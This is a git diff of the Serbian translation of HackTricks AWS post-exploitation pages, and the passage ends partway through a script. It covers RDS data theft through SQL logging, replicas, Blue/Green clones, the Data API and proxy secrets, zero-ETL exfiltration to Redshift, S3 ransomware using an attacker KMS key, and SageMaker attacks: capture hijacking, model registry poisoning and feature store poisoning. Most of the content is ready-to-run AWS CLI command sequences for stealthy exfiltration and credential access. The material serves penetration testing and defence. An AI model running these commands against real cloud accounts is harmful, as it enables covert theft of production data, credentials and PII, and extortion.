-Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni DB engine kredencijali). Omogućite SQL logging na engine-u i preuzmite fajl logove preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs.
+Iskoristite `rds:ModifyDBParameterGroup` zajedno sa RDS log download API-ima da zabeležite sve SQL naredbe koje aplikacije izvršavaju (nisu potrebni kredencijali za DB engine). Omogućite engine SQL logging i preuzmite fajl logova preko `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (ili REST `downloadCompleteLogFile`). Korisno za prikupljanje upita koji mogu sadržati tajne/PII/JWTs.
 
-Permissions needed (minimum):
+Potrebne dozvole (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
-- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
+- `rds:ModifyDBInstance` (samo za pridruživanje prilagođenog parameter group-a ako instance koristi default)
+- `rds:RebootDBInstance` (za parametre koji zahtevaju reboot, npr. PostgreSQL)
 
-Steps
-1) Recon cilja i trenutne parameter grupe
+Koraci
+1) Recon target i trenutni parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može izmeniti)
-- Ako instanca već koristi prilagođeni DB parameter group, ponovo upotrebite njegovo ime u sledećem koraku.
-- U suprotnom kreirajte i prikačite jedan koji odgovara engine family:
+2) Osigurajte da je prikačen prilagođeni DB parameter group (podrazumevani se ne može menjati)
+- Ako instanca već koristi prilagođenu grupu, koristite isto ime u sledećem koraku.
+- U suprotnom, kreirajte i prikačite grupu koja odgovara porodici DB engine-a:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -197,7 +197,7 @@ aws rds modify-db-instance \
 # Wait until status becomes "available"
 ```
 3) Omogućite detaljno SQL logovanje
-- MySQL engine-i (odmah / bez ponovnog pokretanja):
+- MySQL engines (odmah / bez ponovnog pokretanja):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL engines (potreban restart):
+- PostgreSQL motori (zahteva restart):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Dozvolite da workload radi (ili generišite upite). Upiti će biti zapisani u engine file logs
+4) Neka workload radi (ili generišite upite). SQL statements biće zapisane u engine file logs
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Pronađite i preuzmite logove (nisu potrebni DB kredencijali)
+5) Otkrijte i preuzmite logs (nije potrebna DB creds)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -246,7 +246,7 @@ Primer dokaza (redigovano):
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Čišćenje
-- Vratiti parametre na podrazumevane vrednosti i restartovati ako je potrebno:
+- Vratite parametre na podrazumevane vrednosti i ponovo pokrenite sistem ako je potrebno:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Uticaj: Post-exploitation pristup podacima hvatanjem svih SQL izjava aplikacije preko AWS API-ja (no DB creds), potencijalno leaking secrets, JWTs, and PII.
+Uticaj: Post-exploitation pristup podacima hvatanjem svih aplikacionih SQL izjava putem AWS API-ja (bez DB creds), potentially leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Zloupotrebite RDS read replicas da biste dobili out-of-band read access bez diranja kredencijala primary instance. Napadač može kreirati read replica iz production instance, resetovati replica's master password (ovo ne menja primary), i opciono izložiti replica javno da bi exfiltrate podataka.
+Zloupotrebite RDS read replicas da biste dobili out-of-band read pristup bez dodirivanja kredencijala primarne instance. Napadač može kreirati read replica iz produkcione instance, resetovati replica's master password (ovo ne menja primarnu), i opcionalno izložiti replica javno radi exfiltracije podataka.
 
-Potrebne dozvole (minimalno):
+Potrebne dozvole (minimum):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ako se izlaže javno)
 
-Uticaj: Read-only access to production data via a replica with attacker-controlled credentials; manja verovatnoća detekcije jer primary ostaje netaknut i replication se nastavlja.
+Uticaj: Read-only pristup produkcionim podacima preko replica sa attacker-controlled credentials; manja verovatnoća detekcije jer primarna ostaje netaknuta i replication se nastavlja.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -306,11 +306,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 ```
 Primer dokaza (MySQL):
 - Status replike DB: `available`, replikacija za čitanje: `replicating`
-- Uspostavljena konekcija sa novom lozinkom i `@@read_only=1` što potvrđuje pristup repliki samo za čitanje.
+- Uspešna konekcija sa novom lozinkom i `@@read_only=1` koja potvrđuje pristup repliki samo za čitanje.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Iskoristiti RDS Blue/Green za kloniranje produkcionog DB u kontinuirano replikovano, green okruženje samo za čitanje. Zatim resetovati master kredencijale za green kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od deljenja snapshota i često zaobilazi monitoring koji je fokusiran samo na izvor.
+Iskoristite RDS Blue/Green da klonirate production DB u kontinuirano replicirano green okruženje samo za čitanje. Zatim resetujte green master credentials kako biste pristupili podacima bez diranja blue (prod) instance. Ovo je diskretnije od snapshot sharing i često zaobilazi monitoring koji je fokusiran samo na izvor.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,20 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Uticaj: Samo za čitanje, ali potpuni pristup podacima do near-real-time klona produkcije bez izmene produkcionog instance. Korisno za stealthy data extraction i offline analizu.
+Uticaj: Samo za čitanje, ali kompletan pristup podacima na klonu produkcije skoro u realnom vremenu, bez izmene produkcione instance. Korisno za prikrivenu ekstrakciju podataka i offline analizu.
 
 
 ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Zloupotrebite Aurora da omogućite RDS Data API HTTP endpoint na ciljnom klasteru, resetujete master password na vrednost koju kontrolišete, i izvršite SQL preko HTTPS-a (nije potreban VPC network path). Radi na Aurora engine-ima koji podržavaju Data API/EnableHttpEndpoint (npr. Aurora MySQL 8.0 provisioned; neke verzije Aurora PostgreSQL/MySQL).
-
-Permissions (minimum):
+Minimalne dozvole:
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
 - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Uticaj: Zaobiđite mrežnu segmentaciju i exfiltrate data via AWS APIs without direct VPC connectivity to the DB.
+Uticaj: Zaobiđite segmentaciju mreže i exfiltrate podatke putem AWS APIs bez direktne VPC konekcije do DB.
 
 <details>
-<summary>End-to-end CLI (Aurora MySQL example)</summary>
+<summary>Kompletan CLI primer (Aurora MySQL)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +423,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Napomene:
-- Ako rds-data odbije multi-statement SQL, pošaljite odvojene execute-statement pozive.
-- Za engine gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn.
+- Ako rds-data odbija multi-statement SQL, izvršite odvojene execute-statement pozive.
+- Za engine-e gde modify-db-cluster --enable-http-endpoint nema efekta, koristite rds enable-http-endpoint --resource-arn.
 - Proverite da li engine/version zaista podržava Data API; u suprotnom HttpEndpointEnabled će ostati False.
 
 
-### Prikupljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Pribavljanje DB kredencijala preko RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Iskoristite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za backend autentifikaciju, zatim pročitajte taj secret da biste dobili kredencijale baze podataka. Mnoge okoline dodeljuju široka `secretsmanager:GetSecretValue` prava, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, neadekvatno ograničene KMS dozvole mogu takođe omogućiti `kms:Decrypt`.
+Zloupotrebite konfiguraciju RDS Proxy da otkrijete Secrets Manager secret koji se koristi za autentifikaciju backenda, zatim pročitajte taj secret da biste dobili database credentials. Mnogi enviroment-i dodeljuju široka `secretsmanager:GetSecretValue`, što ovo čini niskotarifnim pivotom ka DB creds. Ako secret koristi CMK, pogrešno skopirane KMS dozvole mogu takođe dozvoliti `kms:Decrypt`.
 
-Potrebne dozvole (minimum):
+Potrebne dozvole (minimalno):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` na pomenutom SecretArn
+- `secretsmanager:GetSecretValue` na referencirani SecretArn
 - Opcionalno kada secret koristi CMK: `kms:Decrypt` na tom ključu
 
-Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisanih na proxy-ju; omogućava direktan pristup DB ili dalje lateralno kretanje.
+Uticaj: Trenutno otkrivanje DB korisničkog imena/lozinke konfigurisane na proxy-ju; omogućava direktan pristup DB-u ili dalje lateral movement.
 
 Koraci
 ```bash
@@ -482,7 +480,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
 ```
 ### Neprimetna kontinuirana eksfiltracija putem Aurora zero‑ETL u Amazon Redshift (rds:CreateIntegration)
 
-Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcijskih podataka u Redshift Serverless namespace koji kontrolišete. Uz permisivnu Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti kopiju podataka skoro u realnom vremenu bez DB creds, snapshots ili izlaganja mreži.
+Iskoristite Aurora PostgreSQL zero‑ETL integraciju za kontinuiranu replikaciju produkcionih podataka u Redshift Serverless namespace koji kontrolišete. Sa permisivnom Redshift resource policy koja autorizuje CreateInboundIntegration/AuthorizeInboundIntegration za konkretan Aurora cluster ARN, napadač može uspostaviti gotovo u realnom vremenu kopiju podataka bez DB creds, snapshot‑ova ili izloženosti mreži.
 
 Permissions needed (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -509,7 +507,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Konfigurišite Redshift politiku resursa da dozvoli izvor Aurora</summary>
+<summary>2) Podesite Redshift politiku resursa tako da dozvoli izvor Aurora</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -540,7 +538,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Kreirajte Aurora PostgreSQL klaster (omogućite Data API i logičku replicaciju)</summary>
+<summary>3) Kreirajte Aurora PostgreSQL klaster (omogućite Data API i logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -571,7 +569,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) Kreirajte zero‑ETL integraciju iz RDS</summary>
+<summary>4) Napravite zero‑ETL integraciju iz RDS</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -596,12 +594,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Dokazi primećeni tokom testa:
+Dokazi zapaženi u testu:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
-- Nakon CREATE DATABASE FROM INTEGRATION, pregled tabela otkrio je šemu ztl i tabelu customers; upit nad ztl.customers vratio je 2 reda (Alice, Bob).
+- SVV_INTEGRATION je prikazao integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i state PendingDbConnectState pre kreiranja DB.
+- Nakon CREATE DATABASE FROM INTEGRATION, listing tables je otkrio schema ztl i table customers; selecting from ztl.customers vratio je 2 reda (Alice, Bob).
 
-Uticaj: Kontinuirana skoro u realnom vremenu exfiltration odabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups, ili network access do izvornog klastera.
+Uticaj: Kontinuirana near‑real‑time exfiltration izabranih Aurora PostgreSQL tabela u Redshift Serverless pod kontrolom napadača, bez korišćenja database credentials, backups ili network access do source cluster.
 
-
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -1,38 +0,0 @@
-# AWS - S3 Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Za više informacija proverite:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Osetljive Informacije
-
-Ponekad ćete moći da pronađete osetljive informacije u čitljivim u bucket-ima. Na primer, terraform state tajne.
-
-### Pivotiranje
-
-Različite platforme mogu koristiti S3 za skladištenje osetljivih sredstava.\
-Na primer, **airflow** može skladištiti **DAGs** **kod** tamo, ili se **web stranice** mogu direktno servirati iz S3. Napadač sa pravima pisanja može **modifikovati kod** iz bucket-a da **pivotira** na druge platforme, ili **preuzeti naloge** modifikujući JS datoteke.
-
-### S3 Ransomware
-
-U ovom scenariju, **napadač kreira KMS (Key Management Service) ključ u svom AWS nalogu** ili drugom kompromitovanom nalogu. Zatim čini ovaj **ključ dostupnim svima na svetu**, omogućavajući bilo kojem AWS korisniku, ulozi ili nalogu da enkriptuje objekte koristeći ovaj ključ. Međutim, objekti se ne mogu dekriptovati.
-
-Napadač identifikuje cilj **S3 bucket i dobija pristup na nivou pisanja** koristeći različite metode. To može biti zbog loše konfiguracije bucket-a koja ga izlaže javno ili napadač dobija pristup AWS okruženju. Napadač obično cilja bucket-e koji sadrže osetljive informacije kao što su lične identifikacione informacije (PII), zaštićene zdravstvene informacije (PHI), logove, backup-e i još mnogo toga.
-
-Da bi utvrdio da li se bucket može ciljati za ransomware, napadač proverava njegovu konfiguraciju. Ovo uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) omogućen**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da ransomware-uje taj specifični bucket.
-
-Koristeći AWS API, napadač **menja svaki objekat u bucket-u sa enkriptovanom kopijom koristeći svoj KMS ključ**. Ovo efikasno enkriptuje podatke u bucket-u, čineći ih nedostupnim bez ključa.
-
-Da bi dodatno pritisnuo, napadač zakazuje brisanje KMS ključa korišćenog u napadu. Ovo daje cilju 7-dnevni period da povrati svoje podatke pre nego što ključ bude obrisan i podaci postanu trajno izgubljeni.
-
-Na kraju, napadač može otpremiti konačnu datoteku, obično nazvanu "ransom-note.txt," koja sadrži uputstva za cilj o tome kako da povrati svoje datoteke. Ova datoteka se otprema bez enkripcije, verovatno da bi privukla pažnju cilja i obavestila ih o ransomware napadu.
-
-**Za više informacija** [**proverite originalno istraživanje**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Za više informacija pogledajte:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Osetljive informacije
+
+Ponekad ćete moći da pronađete osetljive informacije čitljive u buckets. Na primer, terraform state secrets.
+
+### Pivoting
+
+Različite platforme mogu koristiti S3 za čuvanje osetljivih assets.\
+For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
+
+### S3 Ransomware
+
+U ovom scenariju, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
+
+The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
+
+To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
+
+Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
+
+To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
+
+Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
+
+**Za više informacija** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
+
+Iskoristite upravljanje SageMaker endpoint-om da omogućite potpuno snimanje zahteva i odgovora u S3 bucket koji kontroliše napadač, bez diranja modela ili container-a. Koristi zero/low‑downtime rolling update i zahteva samo dozvole za upravljanje endpoint-om.
+
+### Zahtevi
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (ili koristite postojeći bucket u istom nalogu)
+- Opcionalno (ako se koristi SSE‑KMS): `kms:Encrypt` na odabranom CMK
+- Cilj: Postojeći InService real‑time endpoint u istom nalogu/regiji
+
+### Koraci
+1) Identifikujte InService endpoint i prikupite trenutne produkcione varijante
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Pripremite attacker S3 destinaciju za captures
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Kreirajte novi EndpointConfig koji zadržava iste varijante, ali omogućava DataCapture u attacker bucket
+
+Napomena: Koristite eksplicitne content-type vrednosti koje zadovoljavaju CLI validaciju.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Primeni novu konfiguraciju koristeći rolling update (minimalno/bez zastoja)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Generišite najmanje jedan poziv za inferencu (opciono ako postoji saobraćaj uživo)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Potvrdite captures u attacker S3
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Uticaj
+- Potpuna exfiltration real‑time inference request i response payload‑ova (i metapodataka) sa ciljanog endpointa u S3 bucket pod kontrolom napadača.
+- Nema izmena model/container image‑a i samo izmene na nivou endpointa, što omogućava prikriveni put krađe podataka sa minimalnim operativnim prekidima.
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Iskoristite upravljanje endpointom da preusmerite izlaze asinkronih inference‑a u S3 bucket pod kontrolom napadača kloniranjem trenutnog EndpointConfig‑a i postavljanjem AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (i sve transformisane inpute koje container uključuje) bez menjanja modela/containera.
+
+### Requirements
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Sposobnost upisa u S3 bucket pod kontrolom napadača (putem model execution role ili permissive bucket policy)
+- Target: An InService endpoint where asynchronous invocations are (or will be) used
+
+### Steps
+1) Gather current ProductionVariants from the target endpoint
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Kreirajte attacker bucket (osigurajte da model execution role može da izvrši PutObject u njega)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Kloniraj EndpointConfig i hijack AsyncInference izlaze u attacker bucket
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Pokrenite async invocation i proverite da li objects dospevaju u attacker S3
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Uticaj
+- Preusmerava rezultate asinhrone inferencije (i tela grešaka) na S3 pod kontrolom napadača, omogućavajući tajnu eksfiltraciju predikcija i potencijalno osetljivih ulaza pre/post-obrade koje proizvodi container, bez menjanja model code ili image i uz minimalan/nikakav zastoj.
+
+
+## SageMaker Model Registry injekcija lanca snabdevanja preko CreateModelPackage(Approved)
+
+Ako napadač može CreateModelPackage na ciljanoj SageMaker Model Package Group, može registrovati novu verziju modela koja pokazuje na attacker-controlled container image i odmah je označiti kao Approved. Mnogi CI/CD pipelines automatski deploy-uju Approved verzije modela na endpoints ili training jobs, što rezultira attacker code execution pod execution rolama servisa. Izloženost između naloga može biti pojačana permisivnom ModelPackageGroup resource policy.
+
+### Zahtevi
+- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
+- Opcionalno (za kreiranje grupe ako ne postoji): `sagemaker:CreateModelPackageGroup`
+- S3: pristup za čitanje do referenciranog ModelDataUrl (ili host attacker-controlled artifacts)
+- Cilj: A Model Package Group koju downstream automation prati za Approved verzije
+
+### Koraci
+1) Podesiti region i kreirati/pronaći ciljani Model Package Group
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Pripremite probne podatke modela u S3
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registrujte zlonamerni (ovde bezopasan) Approved model package version koja referencira javni AWS DLC image
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Proverite da nova odobrena verzija postoji
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Uticaj
+- Zatrovati Model Registry Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koji automatski deploy-uju Approved models mogu povući i pokrenuti attacker image, što dovodi do izvršavanja koda pod endpoint/training rolama.
+- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba se može pokrenuti cross-account.
+
+## Zatrovanje Feature store
+
+Zlorabiti `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup models ili endpoints.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoint-ima.
+
+## Zahtevi
+- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference)
+
+## Koraci
+1) Izaberite ili napravite mali Online Feature Group za testiranje
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
